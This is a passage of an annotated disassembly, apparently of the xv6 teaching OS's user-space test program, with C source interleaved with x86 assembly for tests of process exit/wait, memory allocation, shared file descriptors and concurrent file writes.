printf(1, "wait... ");
wait();
wait();
wait();
printf(1, "preempt ok\n");
}
d2e: 83 c4 2c add $0x2c,%esp
d31: 5b pop %ebx
d32: 5e pop %esi
d33: 5f pop %edi
d34: 5d pop %ebp
d35: c3 ret
close(pfds[1]);
if(read(pfds[0], buf, sizeof(buf)) != 1){
printf(1, "preempt read error");
return;
}
close(pfds[0]);
d36: 8b 45 e0 mov -0x20(%ebp),%eax
d39: 89 04 24 mov %eax,(%esp)
d3c: e8 89 2f 00 00 call 3cca <close>
printf(1, "kill... ");
d41: c7 44 24 04 2d 45 00 movl $0x452d,0x4(%esp)
d48: 00
d49: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d50: e8 ab 30 00 00 call 3e00 <printf>
kill(pid1);
d55: 89 3c 24 mov %edi,(%esp)
d58: e8 75 2f 00 00 call 3cd2 <kill>
kill(pid2);
d5d: 89 34 24 mov %esi,(%esp)
d60: e8 6d 2f 00 00 call 3cd2 <kill>
kill(pid3);
d65: 89 1c 24 mov %ebx,(%esp)
d68: e8 65 2f 00 00 call 3cd2 <kill>
printf(1, "wait... ");
d6d: c7 44 24 04 36 45 00 movl $0x4536,0x4(%esp)
d74: 00
d75: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d7c: e8 7f 30 00 00 call 3e00 <printf>
wait();
d81: e8 24 2f 00 00 call 3caa <wait>
wait();
d86: e8 1f 2f 00 00 call 3caa <wait>
d8b: 90 nop
d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
wait();
d90: e8 15 2f 00 00 call 3caa <wait>
printf(1, "preempt ok\n");
d95: c7 44 24 04 3f 45 00 movl $0x453f,0x4(%esp)
d9c: 00
d9d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
da4: e8 57 30 00 00 call 3e00 <printf>
da9: eb 83 jmp d2e <preempt+0xde>
dab: 90 nop
dac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000db0 <exitwait>:
}
// try to find any races between exit and wait
void
exitwait(void)
{
db0: 55 push %ebp
db1: 89 e5 mov %esp,%ebp
db3: 56 push %esi
db4: be 64 00 00 00 mov $0x64,%esi
db9: 53 push %ebx
dba: 83 ec 10 sub $0x10,%esp
dbd: eb 13 jmp dd2 <exitwait+0x22>
dbf: 90 nop
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
return;
}
if(pid){
dc0: 74 71 je e33 <exitwait+0x83>
if(wait() != pid){
dc2: e8 e3 2e 00 00 call 3caa <wait>
dc7: 39 d8 cmp %ebx,%eax
dc9: 75 2d jne df8 <exitwait+0x48>
void
exitwait(void)
{
int i, pid;
for(i = 0; i < 100; i++){
dcb: 83 ee 01 sub $0x1,%esi
dce: 66 90 xchg %ax,%ax
dd0: 74 46 je e18 <exitwait+0x68>
pid = fork();
dd2: e8 c3 2e 00 00 call 3c9a <fork>
if(pid < 0){
dd7: 85 c0 test %eax,%eax
exitwait(void)
{
int i, pid;
for(i = 0; i < 100; i++){
pid = fork();
dd9: 89 c3 mov %eax,%ebx
if(pid < 0){
ddb: 79 e3 jns dc0 <exitwait+0x10>
printf(1, "fork failed\n");
ddd: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
de4: 00
de5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
dec: e8 0f 30 00 00 call 3e00 <printf>
} else {
exit();
}
}
printf(1, "exitwait ok\n");
}
df1: 83 c4 10 add $0x10,%esp
df4: 5b pop %ebx
df5: 5e pop %esi
df6: 5d pop %ebp
df7: c3 ret
printf(1, "fork failed\n");
return;
}
if(pid){
if(wait() != pid){
printf(1, "wait wrong pid\n");
df8: c7 44 24 04 4b 45 00 movl $0x454b,0x4(%esp)
dff: 00
e00: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e07: e8 f4 2f 00 00 call 3e00 <printf>
} else {
exit();
}
}
printf(1, "exitwait ok\n");
}
e0c: 83 c4 10 add $0x10,%esp
e0f: 5b pop %ebx
e10: 5e pop %esi
e11: 5d pop %ebp
e12: c3 ret
e13: 90 nop
e14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
} else {
exit();
}
}
printf(1, "exitwait ok\n");
e18: c7 44 24 04 5b 45 00 movl $0x455b,0x4(%esp)
e1f: 00
e20: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e27: e8 d4 2f 00 00 call 3e00 <printf>
}
e2c: 83 c4 10 add $0x10,%esp
e2f: 5b pop %ebx
e30: 5e pop %esi
e31: 5d pop %ebp
e32: c3 ret
if(wait() != pid){
printf(1, "wait wrong pid\n");
return;
}
} else {
exit();
e33: e8 6a 2e 00 00 call 3ca2 <exit>
e38: 90 nop
e39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000e40 <mem>:
printf(1, "exitwait ok\n");
}
void
mem(void)
{
e40: 55 push %ebp
e41: 89 e5 mov %esp,%ebp
e43: 57 push %edi
e44: 56 push %esi
e45: 53 push %ebx
e46: 83 ec 1c sub $0x1c,%esp
void *m1, *m2;
int pid, ppid;
printf(1, "mem test\n");
e49: c7 44 24 04 68 45 00 movl $0x4568,0x4(%esp)
e50: 00
e51: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e58: e8 a3 2f 00 00 call 3e00 <printf>
ppid = getpid();
e5d: e8 c0 2e 00 00 call 3d22 <getpid>
e62: 89 c6 mov %eax,%esi
if((pid = fork()) == 0){
e64: e8 31 2e 00 00 call 3c9a <fork>
e69: 85 c0 test %eax,%eax
e6b: 75 73 jne ee0 <mem+0xa0>
e6d: 31 db xor %ebx,%ebx
e6f: 90 nop
e70: eb 0a jmp e7c <mem+0x3c>
e72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
m1 = 0;
while((m2 = malloc(10001)) != 0){
*(char**)m2 = m1;
e78: 89 18 mov %ebx,(%eax)
e7a: 89 c3 mov %eax,%ebx
printf(1, "mem test\n");
ppid = getpid();
if((pid = fork()) == 0){
m1 = 0;
while((m2 = malloc(10001)) != 0){
e7c: c7 04 24 11 27 00 00 movl $0x2711,(%esp)
e83: e8 f8 31 00 00 call 4080 <malloc>
e88: 85 c0 test %eax,%eax
e8a: 75 ec jne e78 <mem+0x38>
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
e8c: 85 db test %ebx,%ebx
e8e: 75 0a jne e9a <mem+0x5a>
e90: eb 16 jmp ea8 <mem+0x68>
e92: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
m2 = *(char**)m1;
free(m1);
m1 = m2;
e98: 89 fb mov %edi,%ebx
while((m2 = malloc(10001)) != 0){
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
m2 = *(char**)m1;
e9a: 8b 3b mov (%ebx),%edi
free(m1);
e9c: 89 1c 24 mov %ebx,(%esp)
e9f: e8 4c 31 00 00 call 3ff0 <free>
m1 = 0;
while((m2 = malloc(10001)) != 0){
*(char**)m2 = m1;
m1 = m2;
}
while(m1){
ea4: 85 ff test %edi,%edi
ea6: 75 f0 jne e98 <mem+0x58>
m2 = *(char**)m1;
free(m1);
m1 = m2;
}
m1 = malloc(1024*20);
ea8: c7 04 24 00 50 00 00 movl $0x5000,(%esp)
eaf: e8 cc 31 00 00 call 4080 <malloc>
if(m1 == 0){
eb4: 85 c0 test %eax,%eax
eb6: 74 38 je ef0 <mem+0xb0>
printf(1, "couldn't allocate mem?!!\n");
kill(ppid);
exit();
}
free(m1);
eb8: 89 04 24 mov %eax,(%esp)
ebb: e8 30 31 00 00 call 3ff0 <free>
printf(1, "mem ok\n");
ec0: c7 44 24 04 8c 45 00 movl $0x458c,0x4(%esp)
ec7: 00
ec8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
ecf: e8 2c 2f 00 00 call 3e00 <printf>
exit();
ed4: e8 c9 2d 00 00 call 3ca2 <exit>
ed9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else {
wait();
}
}
ee0: 83 c4 1c add $0x1c,%esp
ee3: 5b pop %ebx
ee4: 5e pop %esi
ee5: 5f pop %edi
ee6: 5d pop %ebp
}
free(m1);
printf(1, "mem ok\n");
exit();
} else {
wait();
ee7: e9 be 2d 00 00 jmp 3caa <wait>
eec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
free(m1);
m1 = m2;
}
m1 = malloc(1024*20);
if(m1 == 0){
printf(1, "couldn't allocate mem?!!\n");
ef0: c7 44 24 04 72 45 00 movl $0x4572,0x4(%esp)
ef7: 00
ef8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
eff: e8 fc 2e 00 00 call 3e00 <printf>
kill(ppid);
f04: 89 34 24 mov %esi,(%esp)
f07: e8 c6 2d 00 00 call 3cd2 <kill>
exit();
f0c: e8 91 2d 00 00 call 3ca2 <exit>
f11: eb 0d jmp f20 <sharedfd>
f13: 90 nop
f14: 90 nop
f15: 90 nop
f16: 90 nop
f17: 90 nop
f18: 90 nop
f19: 90 nop
f1a: 90 nop
f1b: 90 nop
f1c: 90 nop
f1d: 90 nop
f1e: 90 nop
f1f: 90 nop
00000f20 <sharedfd>:
// two processes write to the same file descriptor
// is the offset shared? does inode locking work?
void
sharedfd(void)
{
f20: 55 push %ebp
f21: 89 e5 mov %esp,%ebp
f23: 57 push %edi
f24: 56 push %esi
f25: 53 push %ebx
f26: 83 ec 3c sub $0x3c,%esp
int fd, pid, i, n, nc, np;
char buf[10];
printf(1, "sharedfd test\n");
f29: c7 44 24 04 94 45 00 movl $0x4594,0x4(%esp)
f30: 00
f31: c7 04 24 01 00 00 00 movl $0x1,(%esp)
f38: e8 c3 2e 00 00 call 3e00 <printf>
unlink("sharedfd");
f3d: c7 04 24 a3 45 00 00 movl $0x45a3,(%esp)
f44: e8 a9 2d 00 00 call 3cf2 <unlink>
fd = open("sharedfd", O_CREATE|O_RDWR);
f49: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
f50: 00
f51: c7 04 24 a3 45 00 00 movl $0x45a3,(%esp)
f58: e8 85 2d 00 00 call 3ce2 <open>
if(fd < 0){
f5d: 85 c0 test %eax,%eax
char buf[10];
printf(1, "sharedfd test\n");
unlink("sharedfd");
fd = open("sharedfd", O_CREATE|O_RDWR);
f5f: 89 c7 mov %eax,%edi
if(fd < 0){
f61: 0f 88 40 01 00 00 js 10a7 <sharedfd+0x187>
printf(1, "fstests: cannot open sharedfd for writing");
return;
}
pid = fork();
f67: e8 2e 2d 00 00 call 3c9a <fork>
memset(buf, pid==0?'c':'p', sizeof(buf));
f6c: 8d 75 de lea -0x22(%ebp),%esi
f6f: bb e8 03 00 00 mov $0x3e8,%ebx
f74: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
f7b: 00
f7c: 89 34 24 mov %esi,(%esp)
f7f: 83 f8 01 cmp $0x1,%eax
fd = open("sharedfd", O_CREATE|O_RDWR);
if(fd < 0){
printf(1, "fstests: cannot open sharedfd for writing");
return;
}
pid = fork();
f82: 89 45 d4 mov %eax,-0x2c(%ebp)
memset(buf, pid==0?'c':'p', sizeof(buf));
f85: 19 c0 sbb %eax,%eax
f87: 83 e0 f3 and $0xfffffff3,%eax
f8a: 83 c0 70 add $0x70,%eax
f8d: 89 44 24 04 mov %eax,0x4(%esp)
f91: e8 9a 2b 00 00 call 3b30 <memset>
f96: eb 05 jmp f9d <sharedfd+0x7d>
for(i = 0; i < 1000; i++){
f98: 83 eb 01 sub $0x1,%ebx
f9b: 74 2d je fca <sharedfd+0xaa>
if(write(fd, buf, sizeof(buf)) != sizeof(buf)){
f9d: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
fa4: 00
fa5: 89 74 24 04 mov %esi,0x4(%esp)
fa9: 89 3c 24 mov %edi,(%esp)
fac: e8 11 2d 00 00 call 3cc2 <write>
fb1: 83 f8 0a cmp $0xa,%eax
fb4: 74 e2 je f98 <sharedfd+0x78>
printf(1, "fstests: write sharedfd failed\n");
fb6: c7 44 24 04 94 52 00 movl $0x5294,0x4(%esp)
fbd: 00
fbe: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fc5: e8 36 2e 00 00 call 3e00 <printf>
break;
}
}
if(pid == 0)
fca: 8b 45 d4 mov -0x2c(%ebp),%eax
fcd: 85 c0 test %eax,%eax
fcf: 0f 84 26 01 00 00 je 10fb <sharedfd+0x1db>
exit();
else
wait();
fd5: e8 d0 2c 00 00 call 3caa <wait>
close(fd);
fda: 89 3c 24 mov %edi,(%esp)
fdd: e8 e8 2c 00 00 call 3cca <close>
fd = open("sharedfd", 0);
fe2: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
fe9: 00
fea: c7 04 24 a3 45 00 00 movl $0x45a3,(%esp)
ff1: e8 ec 2c 00 00 call 3ce2 <open>
if(fd < 0){
ff6: 85 c0 test %eax,%eax
if(pid == 0)
exit();
else
wait();
close(fd);
fd = open("sharedfd", 0);
ff8: 89 45 d0 mov %eax,-0x30(%ebp)
if(fd < 0){
ffb: 0f 88 c2 00 00 00 js 10c3 <sharedfd+0x1a3>
1001: 31 d2 xor %edx,%edx
1003: 31 db xor %ebx,%ebx
1005: 8d 7d e8 lea -0x18(%ebp),%edi
1008: 89 55 d4 mov %edx,-0x2c(%ebp)
100b: 90 nop
100c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
1010: 8b 45 d0 mov -0x30(%ebp),%eax
1013: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
101a: 00
101b: 89 74 24 04 mov %esi,0x4(%esp)
101f: 89 04 24 mov %eax,(%esp)
1022: e8 93 2c 00 00 call 3cba <read>
1027: 85 c0 test %eax,%eax
1029: 7e 36 jle 1061 <sharedfd+0x141>
102b: 89 f0 mov %esi,%eax
102d: 8b 55 d4 mov -0x2c(%ebp),%edx
1030: eb 18 jmp 104a <sharedfd+0x12a>
1032: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(i = 0; i < sizeof(buf); i++){
if(buf[i] == 'c')
nc++;
if(buf[i] == 'p')
np++;
1038: 80 f9 70 cmp $0x70,%cl
103b: 0f 94 c1 sete %cl
103e: 83 c0 01 add $0x1,%eax
1041: 0f b6 c9 movzbl %cl,%ecx
1044: 01 cb add %ecx,%ebx
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(i = 0; i < sizeof(buf); i++){
1046: 39 f8 cmp %edi,%eax
1048: 74 12 je 105c <sharedfd+0x13c>
if(buf[i] == 'c')
104a: 0f b6 08 movzbl (%eax),%ecx
104d: 80 f9 63 cmp $0x63,%cl
1050: 75 e6 jne 1038 <sharedfd+0x118>
1052: 83 c0 01 add $0x1,%eax
nc++;
1055: 83 c2 01 add $0x1,%edx
printf(1, "fstests: cannot open sharedfd for reading\n");
return;
}
nc = np = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(i = 0; i < sizeof(buf); i++){
1058: 39 f8 cmp %edi,%eax
105a: 75 ee jne 104a <sharedfd+0x12a>
105c: 89 55 d4 mov %edx,-0x2c(%ebp)
105f: eb af jmp 1010 <sharedfd+0xf0>
nc++;
if(buf[i] == 'p')
np++;
}
}
close(fd);
1061: 8b 45 d0 mov -0x30(%ebp),%eax
1064: 89 04 24 mov %eax,(%esp)
1067: e8 5e 2c 00 00 call 3cca <close>
unlink("sharedfd");
106c: c7 04 24 a3 45 00 00 movl $0x45a3,(%esp)
1073: e8 7a 2c 00 00 call 3cf2 <unlink>
if(nc == 10000 && np == 10000){
1078: 81 fb 10 27 00 00 cmp $0x2710,%ebx
107e: 8b 55 d4 mov -0x2c(%ebp),%edx
1081: 75 5c jne 10df <sharedfd+0x1bf>
1083: 81 fa 10 27 00 00 cmp $0x2710,%edx
1089: 75 54 jne 10df <sharedfd+0x1bf>
printf(1, "sharedfd ok\n");
108b: c7 44 24 04 ac 45 00 movl $0x45ac,0x4(%esp)
1092: 00
1093: c7 04 24 01 00 00 00 movl $0x1,(%esp)
109a: e8 61 2d 00 00 call 3e00 <printf>
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
exit();
}
}
109f: 83 c4 3c add $0x3c,%esp
10a2: 5b pop %ebx
10a3: 5e pop %esi
10a4: 5f pop %edi
10a5: 5d pop %ebp
10a6: c3 ret
printf(1, "sharedfd test\n");
unlink("sharedfd");
fd = open("sharedfd", O_CREATE|O_RDWR);
if(fd < 0){
printf(1, "fstests: cannot open sharedfd for writing");
10a7: c7 44 24 04 68 52 00 movl $0x5268,0x4(%esp)
10ae: 00
10af: c7 04 24 01 00 00 00 movl $0x1,(%esp)
10b6: e8 45 2d 00 00 call 3e00 <printf>
printf(1, "sharedfd ok\n");
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
exit();
}
}
10bb: 83 c4 3c add $0x3c,%esp
10be: 5b pop %ebx
10bf: 5e pop %esi
10c0: 5f pop %edi
10c1: 5d pop %ebp
10c2: c3 ret
else
wait();
close(fd);
fd = open("sharedfd", 0);
if(fd < 0){
printf(1, "fstests: cannot open sharedfd for reading\n");
10c3: c7 44 24 04 b4 52 00 movl $0x52b4,0x4(%esp)
10ca: 00
10cb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
10d2: e8 29 2d 00 00 call 3e00 <printf>
printf(1, "sharedfd ok\n");
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
exit();
}
}
10d7: 83 c4 3c add $0x3c,%esp
10da: 5b pop %ebx
10db: 5e pop %esi
10dc: 5f pop %edi
10dd: 5d pop %ebp
10de: c3 ret
close(fd);
unlink("sharedfd");
if(nc == 10000 && np == 10000){
printf(1, "sharedfd ok\n");
} else {
printf(1, "sharedfd oops %d %d\n", nc, np);
10df: 89 5c 24 0c mov %ebx,0xc(%esp)
10e3: 89 54 24 08 mov %edx,0x8(%esp)
10e7: c7 44 24 04 b9 45 00 movl $0x45b9,0x4(%esp)
10ee: 00
10ef: c7 04 24 01 00 00 00 movl $0x1,(%esp)
10f6: e8 05 2d 00 00 call 3e00 <printf>
exit();
10fb: e8 a2 2b 00 00 call 3ca2 <exit>
00001100 <fourfiles>:
// four processes write different files at the same
// time, to test block allocation.
void
fourfiles(void)
{
1100: 55 push %ebp
1101: 89 e5 mov %esp,%ebp
1103: 57 push %edi
1104: 56 push %esi
int fd, pid, i, j, n, total, pi;
char *names[] = { "f0", "f1", "f2", "f3" };
char *fname;
printf(1, "fourfiles test\n");
1105: be ce 45 00 00 mov $0x45ce,%esi
// four processes write different files at the same
// time, to test block allocation.
void
fourfiles(void)
{
110a: 53 push %ebx
char *names[] = { "f0", "f1", "f2", "f3" };
char *fname;
printf(1, "fourfiles test\n");
for(pi = 0; pi < 4; pi++){
110b: 31 db xor %ebx,%ebx
// four processes write different files at the same
// time, to test block allocation.
void
fourfiles(void)
{
110d: 83 ec 2c sub $0x2c,%esp
int fd, pid, i, j, n, total, pi;
char *names[] = { "f0", "f1", "f2", "f3" };
char *fname;
printf(1, "fourfiles test\n");
1110: c7 44 24 04 d4 45 00 movl $0x45d4,0x4(%esp)
1117: 00
1118: c7 04 24 01 00 00 00 movl $0x1,(%esp)
// time, to test block allocation.
void
fourfiles(void)
{
int fd, pid, i, j, n, total, pi;
char *names[] = { "f0", "f1", "f2", "f3" };
111f: c7 45 d8 ce 45 00 00 movl $0x45ce,-0x28(%ebp)
1126: c7 45 dc 17 47 00 00 movl $0x4717,-0x24(%ebp)
112d: c7 45 e0 1b 47 00 00 movl $0x471b,-0x20(%ebp)
1134: c7 45 e4 d1 45 00 00 movl $0x45d1,-0x1c(%ebp)
char *fname;
printf(1, "fourfiles test\n");
113b: e8 c0 2c 00 00 call 3e00 <printf>
for(pi = 0; pi < 4; pi++){
fname = names[pi];
unlink(fname);
1140: 89 34 24 mov %esi,(%esp)
1143: e8 aa 2b 00 00 call 3cf2 <unlink>
pid = fork();
1148: e8 4d 2b 00 00 call 3c9a <fork>
if(pid < 0){
114d: 85 c0 test %eax,%eax
114f: 0f 88 89 01 00 00 js 12de <fourfiles+0x1de>
printf(1, "fork failed\n");
exit();
}
if(pid == 0){
1155: 0f 84 e4 00 00 00 je 123f <fourfiles+0x13f>
char *names[] = { "f0", "f1", "f2", "f3" };
char *fname;
printf(1, "fourfiles test\n");
for(pi = 0; pi < 4; pi++){
115b: 83 c3 01 add $0x1,%ebx
115e: 83 fb 04 cmp $0x4,%ebx
1161: 74 06 je 1169 <fourfiles+0x69>
1163: 8b 74 9d d8 mov -0x28(%ebp,%ebx,4),%esi
1167: eb d7 jmp 1140 <fourfiles+0x40>
exit();
}
}
for(pi = 0; pi < 4; pi++){
wait();
1169: e8 3c 2b 00 00 call 3caa <wait>
116e: bf 30 00 00 00 mov $0x30,%edi
1173: e8 32 2b 00 00 call 3caa <wait>
1178: e8 2d 2b 00 00 call 3caa <wait>
117d: e8 28 2b 00 00 call 3caa <wait>
1182: c7 45 d4 ce 45 00 00 movl $0x45ce,-0x2c(%ebp)
}
for(i = 0; i < 2; i++){
fname = names[i];
fd = open(fname, 0);
1189: 8b 45 d4 mov -0x2c(%ebp),%eax
total = 0;
118c: 31 db xor %ebx,%ebx
wait();
}
for(i = 0; i < 2; i++){
fname = names[i];
fd = open(fname, 0);
118e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1195: 00
1196: 89 04 24 mov %eax,(%esp)
1199: e8 44 2b 00 00 call 3ce2 <open>
119e: 89 c6 mov %eax,%esi
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
11a0: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
11a7: 00
11a8: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
11af: 00
11b0: 89 34 24 mov %esi,(%esp)
11b3: e8 02 2b 00 00 call 3cba <read>
11b8: 85 c0 test %eax,%eax
11ba: 7e 1a jle 11d6 <fourfiles+0xd6>
11bc: 31 d2 xor %edx,%edx
11be: 66 90 xchg %ax,%ax
for(j = 0; j < n; j++){
if(buf[j] != '0'+i){
11c0: 0f be 8a c0 89 00 00 movsbl 0x89c0(%edx),%ecx
11c7: 39 cf cmp %ecx,%edi
11c9: 75 5b jne 1226 <fourfiles+0x126>
for(i = 0; i < 2; i++){
fname = names[i];
fd = open(fname, 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(j = 0; j < n; j++){
11cb: 83 c2 01 add $0x1,%edx
11ce: 39 c2 cmp %eax,%edx
11d0: 75 ee jne 11c0 <fourfiles+0xc0>
if(buf[j] != '0'+i){
printf(1, "wrong char\n");
exit();
}
}
total += n;
11d2: 01 d3 add %edx,%ebx
11d4: eb ca jmp 11a0 <fourfiles+0xa0>
}
close(fd);
11d6: 89 34 24 mov %esi,(%esp)
11d9: e8 ec 2a 00 00 call 3cca <close>
if(total != 12*500){
11de: 81 fb 70 17 00 00 cmp $0x1770,%ebx
11e4: 0f 85 d7 00 00 00 jne 12c1 <fourfiles+0x1c1>
printf(1, "wrong length %d\n", total);
exit();
}
unlink(fname);
11ea: 8b 45 d4 mov -0x2c(%ebp),%eax
11ed: 89 04 24 mov %eax,(%esp)
11f0: e8 fd 2a 00 00 call 3cf2 <unlink>
for(pi = 0; pi < 4; pi++){
wait();
}
for(i = 0; i < 2; i++){
11f5: 83 ff 31 cmp $0x31,%edi
11f8: 75 1c jne 1216 <fourfiles+0x116>
exit();
}
unlink(fname);
}
printf(1, "fourfiles ok\n");
11fa: c7 44 24 04 12 46 00 movl $0x4612,0x4(%esp)
1201: 00
1202: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1209: e8 f2 2b 00 00 call 3e00 <printf>
}
120e: 83 c4 2c add $0x2c,%esp
1211: 5b pop %ebx
1212: 5e pop %esi
1213: 5f pop %edi
1214: 5d pop %ebp
1215: c3 ret
1216: 8b 45 dc mov -0x24(%ebp),%eax
1219: bf 31 00 00 00 mov $0x31,%edi
121e: 89 45 d4 mov %eax,-0x2c(%ebp)
1221: e9 63 ff ff ff jmp 1189 <fourfiles+0x89>
fd = open(fname, 0);
total = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(j = 0; j < n; j++){
if(buf[j] != '0'+i){
printf(1, "wrong char\n");
1226: c7 44 24 04 f5 45 00 movl $0x45f5,0x4(%esp)
122d: 00
122e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1235: e8 c6 2b 00 00 call 3e00 <printf>
exit();
123a: e8 63 2a 00 00 call 3ca2 <exit>
printf(1, "fork failed\n");
exit();
}
if(pid == 0){
fd = open(fname, O_CREATE | O_RDWR);
123f: 89 34 24 mov %esi,(%esp)
1242: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1249: 00
124a: e8 93 2a 00 00 call 3ce2 <open>
if(fd < 0){
124f: 85 c0 test %eax,%eax
printf(1, "fork failed\n");
exit();
}
if(pid == 0){
fd = open(fname, O_CREATE | O_RDWR);
1251: 89 c6 mov %eax,%esi
if(fd < 0){
1253: 0f 88 9e 00 00 00 js 12f7 <fourfiles+0x1f7>
printf(1, "create failed\n");
exit();
}
memset(buf, '0'+pi, 512);
1259: 83 c3 30 add $0x30,%ebx
125c: 89 5c 24 04 mov %ebx,0x4(%esp)
1260: bb 0c 00 00 00 mov $0xc,%ebx
1265: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
126c: 00
126d: c7 04 24 c0 89 00 00 movl $0x89c0,(%esp)
1274: e8 b7 28 00 00 call 3b30 <memset>
1279: eb 0a jmp 1285 <fourfiles+0x185>
127b: 90 nop
127c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < 12; i++){
1280: 83 eb 01 sub $0x1,%ebx
1283: 74 b5 je 123a <fourfiles+0x13a>
if((n = write(fd, buf, 500)) != 500){
1285: c7 44 24 08 f4 01 00 movl $0x1f4,0x8(%esp)
128c: 00
128d: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
1294: 00
1295: 89 34 24 mov %esi,(%esp)
1298: e8 25 2a 00 00 call 3cc2 <write>
129d: 3d f4 01 00 00 cmp $0x1f4,%eax
12a2: 74 dc je 1280 <fourfiles+0x180>
printf(1, "write failed %d\n", n);
12a4: 89 44 24 08 mov %eax,0x8(%esp)
12a8: c7 44 24 04 e4 45 00 movl $0x45e4,0x4(%esp)
12af: 00
12b0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12b7: e8 44 2b 00 00 call 3e00 <printf>
exit();
12bc: e8 e1 29 00 00 call 3ca2 <exit>
}
total += n;
}
close(fd);
if(total != 12*500){
printf(1, "wrong length %d\n", total);
12c1: 89 5c 24 08 mov %ebx,0x8(%esp)
12c5: c7 44 24 04 01 46 00 movl $0x4601,0x4(%esp)
12cc: 00
12cd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12d4: e8 27 2b 00 00 call 3e00 <printf>
exit();
12d9: e8 c4 29 00 00 call 3ca2 <exit>
fname = names[pi];
unlink(fname);
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
12de: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
12e5: 00
12e6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12ed: e8 0e 2b 00 00 call 3e00 <printf>
exit();
12f2: e8 ab 29 00 00 call 3ca2 <exit>
}
if(pid == 0){
fd = open(fname, O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "create failed\n");
12f7: c7 44 24 04 6f 48 00 movl $0x486f,0x4(%esp)
12fe: 00
12ff: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1306: e8 f5 2a 00 00 call 3e00 <printf>
exit();
130b: e8 92 29 00 00 call 3ca2 <exit>
00001310 <createdelete>:
}
// four processes create and delete different files in same directory
void
createdelete(void)
{
1310: 55 push %ebp
1311: 89 e5 mov %esp,%ebp
1313: 57 push %edi
1314: 56 push %esi
1315: 53 push %ebx
int pid, i, fd, pi;
char name[32];
printf(1, "createdelete test\n");
for(pi = 0; pi < 4; pi++){
1316: 31 db xor %ebx,%ebx
}
// four processes create and delete different files in same directory
void
createdelete(void)
{
1318: 83 ec 4c sub $0x4c,%esp
enum { N = 20 };
int pid, i, fd, pi;
char name[32];
printf(1, "createdelete test\n");
131b: c7 44 24 04 20 46 00 movl $0x4620,0x4(%esp)
1322: 00
1323: c7 04 24 01 00 00 00 movl $0x1,(%esp)
132a: e8 d1 2a 00 00 call 3e00 <printf>
for(pi = 0; pi < 4; pi++){
pid = fork();
132f: e8 66 29 00 00 call 3c9a <fork>
if(pid < 0){
1334: 85 c0 test %eax,%eax
1336: 0f 88 d2 01 00 00 js 150e <createdelete+0x1fe>
133c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "fork failed\n");
exit();
}
if(pid == 0){
1340: 0f 84 14 01 00 00 je 145a <createdelete+0x14a>
int pid, i, fd, pi;
char name[32];
printf(1, "createdelete test\n");
for(pi = 0; pi < 4; pi++){
1346: 83 c3 01 add $0x1,%ebx
1349: 83 fb 04 cmp $0x4,%ebx
134c: 75 e1 jne 132f <createdelete+0x1f>
134e: 66 90 xchg %ax,%ax
exit();
}
}
for(pi = 0; pi < 4; pi++){
wait();
1350: e8 55 29 00 00 call 3caa <wait>
}
name[0] = name[1] = name[2] = 0;
for(i = 0; i < N; i++){
1355: 31 f6 xor %esi,%esi
exit();
}
}
for(pi = 0; pi < 4; pi++){
wait();
1357: e8 4e 29 00 00 call 3caa <wait>
135c: 8d 7d c8 lea -0x38(%ebp),%edi
135f: e8 46 29 00 00 call 3caa <wait>
1364: e8 41 29 00 00 call 3caa <wait>
}
name[0] = name[1] = name[2] = 0;
1369: c6 45 ca 00 movb $0x0,-0x36(%ebp)
